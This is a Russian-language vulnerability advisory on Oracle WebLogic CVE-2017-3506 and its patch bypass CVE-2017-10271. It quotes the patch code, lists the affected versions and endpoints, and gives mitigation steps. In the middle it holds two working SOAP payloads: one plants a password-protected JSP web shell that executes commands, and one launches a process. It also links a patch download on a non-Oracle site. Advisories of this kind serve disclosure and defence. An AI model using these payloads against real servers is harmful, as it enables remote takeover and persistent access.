
Оригинальный автор:[email protected]
mitre:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-3506
Ранее хакеры использовали уязвимость в компоненте WLS WebLogic для массовых удаленных атак на корпоративные серверы. Множество серверов предприятий были скомпрометированы, и количество атакованных организаций демонстрирует явную тенденцию к росту, что требует повышенного внимания. CVE-2017-3506 — это уязвимость удаленного выполнения кода в компоненте WLS Oracle WebLogic, эксплуатируемая в реальных атаках без публично раскрытых деталей. Значительное число предприятий еще не установили патч вовремя. Официальный патч для этой уязвимости был выпущен в апреле 2017 года.
Описание патча CVE-2017-3506:
public WorkContextXmlInputAdapter(InputStream is)
{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
try
{
int next = 0;
next = is.read();
while (next != -1)
{
baos.write(next);
next = is.read();
}
}
catch (Exception e)
{
throw new IllegalStateException("Failed to get data from input stream", e);
}
validate(new ByteArrayInputStream(baos.toByteArray()));
this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(baos.toByteArray()));
}
private void validate(InputStream is)
{
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try
{
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler()
{
public void startElement(String uri, String localName, String qName, Attributes attributes)
throws SAXException
{
if (qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");
}
}
});
}
catch (ParserConfigurationException e)
{
throw new IllegalStateException("Parser Exception", e);
}
catch (SAXException e)
{
throw new IllegalStateException("Parser Exception", e);
}
catch (IOException e)
{
throw new IllegalStateException("Parser Exception", e);
}
}
Просто добавили функцию validate перед десериализацией: если qName равно "object", выбрасывается исключение и выполнение прекращается. Можно сказать, что это грубый и простой подход, однако такой черный список сложно полностью и досконально исправить. Стоит задуматься...
Метод эксплуатации этой уязвимости относительно прост: атакующему достаточно отправить специально сформированный HTTP-запрос, чтобы получить контроль над целевым сервером. Ущерб огромен. Поскольку уязвимость относительно новая, на многих хостах до сих пор не установлены соответствующие обновления. Ожидается, что после этого инцидента количество атак резко возрастет, и множество новых хостов будут скомпрометированы.
Патч Oracle от апреля 2017 года для CVE-2017-3506 устранил уязвимость не полностью — его можно обойти и по-прежнему выполнять удаленные команды. Уязвимость обхода (CVE-2017-10271) была исправлена в патче, выпущенном Oracle в октябре 2017 года.
CVE-2017-10271 (уязвимость обхода удаленного выполнения команд wls-wsat)
Oracle WebLogic Server10.3.6.0.0 версия
Oracle WebLogic Server12.1.3.0.0 версия
Oracle WebLogic Server12.2.1.1.0 версия
Oracle WebLogic Server12.2.1.2.0 версия
/wls-wsat/CoordinatorPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/ParticipantPortType
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/RegistrationRequesterPortType11
Content-Type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string><void method="println"><string><![CDATA[<% if("secfree".equals(request.getParameter("password"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("command")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
} %>]]></string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>




<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.6.0" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>calc</string>
</void>
</array>
<void method="start"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>







http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html https://lipeng1943.com/download/weblogic_patch-catalog_25504.zip
Установите контроль доступа к ресурсам wls-wsat.
Временное решение
Если это не влияет на бизнес, в зависимости от фактического окружения удалите следующие war-файлы и каталоги в WebLogic:
rm -f/home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war
rm -f/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
rm -rf/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat
После перезапуска службы WebLogic или системы убедитесь, что следующий URL возвращает 404: